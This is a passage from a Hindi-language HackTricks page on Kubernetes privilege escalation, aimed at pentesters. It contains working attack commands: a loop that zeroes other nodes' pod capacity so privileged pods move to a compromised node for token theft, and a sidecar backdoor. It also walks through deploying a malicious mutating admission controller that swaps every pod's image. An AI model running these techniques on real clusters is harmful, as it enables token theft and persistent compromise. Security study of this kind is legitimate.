क्रिया), या पॉड स्थिति बदल सकते हैं (पॉड्स/स्थिति तक पहुंच) और अन्य नोड्स को अस्थायी बना सकते हैं (नोड्स/स्थिति तक पहुंच) या नोड्स को हटा सकते हैं (nodes
संसाधन पर delete
क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे अन्य नोड्स से पॉड्स चुरा सकते हैं ताकि वे समझौता किए गए नोड में निष्पादित हों और हमलावर उन पॉड्स से टोकन चुरा सके।
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
प्रिंसिपल जो services/status
को संशोधित कर सकते हैं, वे status.loadBalancer.ingress.ip
फ़ील्ड को अनफिक्स्ड CVE-2020-8554 का लाभ उठाने के लिए सेट कर सकते हैं और क्लस्टर के खिलाफ MiTM हमले शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार यह)।
Nodes and Pods status
प्रिंसिपल जिनके पास nodes/status
या pods/status
पर update
या patch
अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं जिससे लागू शेड्यूलिंग प्रतिबंध प्रभावित होते हैं।
Built-in Privileged Escalation Prevention
Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक बिल्ट-इन तंत्र है।
यह प्रणाली सुनिश्चित करती है कि उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।
नियम stipulates करता है कि एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।
warning
पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास roles
या clusterroles
पर क्रिया escalate
है, तो वह भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकारों को बढ़ा सकता है भले ही उसके पास स्वयं अनुमतियाँ न हों।
Get & Patch RoleBindings/ClusterRoleBindings
caution
स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण से जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।
भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को भूमिकाओं को एक सेवा खाते से बाइंड करने की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने की अनुमति देता है।
Other Attacks
Sidecar proxy app
डिफ़ॉल्ट रूप से, पॉड के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।
Create a sidecar proxy app
एक साइडकार कंटेनर बस एक दूसरा (या अधिक) कंटेनर एक पॉड के अंदर जोड़ने पर आधारित होता है।
उदाहरण के लिए, निम्नलिखित 2 कंटेनरों के साथ एक पॉड की कॉन्फ़िगरेशन का हिस्सा है:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
उदाहरण के लिए, एक नए कंटेनर के साथ एक मौजूदा पॉड में बैकडोर करने के लिए, आप बस विनिर्देशन में एक नया कंटेनर जोड़ सकते हैं। ध्यान दें कि आप दूसरे कंटेनर को अधिक अनुमति दे सकते हैं जो पहले को नहीं मिलेगी।
अधिक जानकारी के लिए: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
दुर्भावनापूर्ण प्रवेश नियंत्रक
एक प्रवेश नियंत्रक Kubernetes API सर्वर पर अनुरोधों को रोकता है वस्तु के स्थायीकरण से पहले, लेकिन अनुरोध को प्रमाणित और अधिकृत करने के बाद।
यदि एक हमलावर किसी तरह Mutation Admission Controller को इंजेक्ट करने में सफल हो जाता है, तो वह पहले से प्रमाणित अनुरोधों को संशोधित करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना।
उदाहरण https://blog.rewanthtammana.com/creating-malicious-admission-controllers से:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
स्थिति की जांच करें कि क्या यह तैयार है:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
फिर एक नया पॉड तैनात करें:
kubectl run nginx --image nginx
kubectl get po -w
जब आप ErrImagePull
त्रुटि देख सकते हैं, तो छवि नाम की जांच करें निम्नलिखित में से किसी एक क्वेरी के साथ:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने nginx
इमेज चलाने की कोशिश की, लेकिन अंतिम निष्पादित इमेज rewanthtammana/malicious-image
है। क्या हुआ!!?
Technicalities
./deploy.sh
स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image
.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Best Practices
Service Account Tokens के Automount को बंद करना
- Pods और Service Accounts: डिफ़ॉल्ट रूप से, pods एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है।
- कैसे लागू करें: सेवा खातों या pods की कॉन्फ़िगरेशन में
automountServiceAccountToken: false
सेट करें, Kubernetes संस्करण 1.6 से शुरू।
RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट
- चयनात्मक समावेश: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।
Namespace-विशिष्ट Roles पर Cluster-Wide Roles
- Roles बनाम ClusterRoles: ClusterRoles और ClusterRoleBindings के बजाय namespace-विशिष्ट अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।
स्वचालित उपकरणों का उपयोग करें
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
References
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।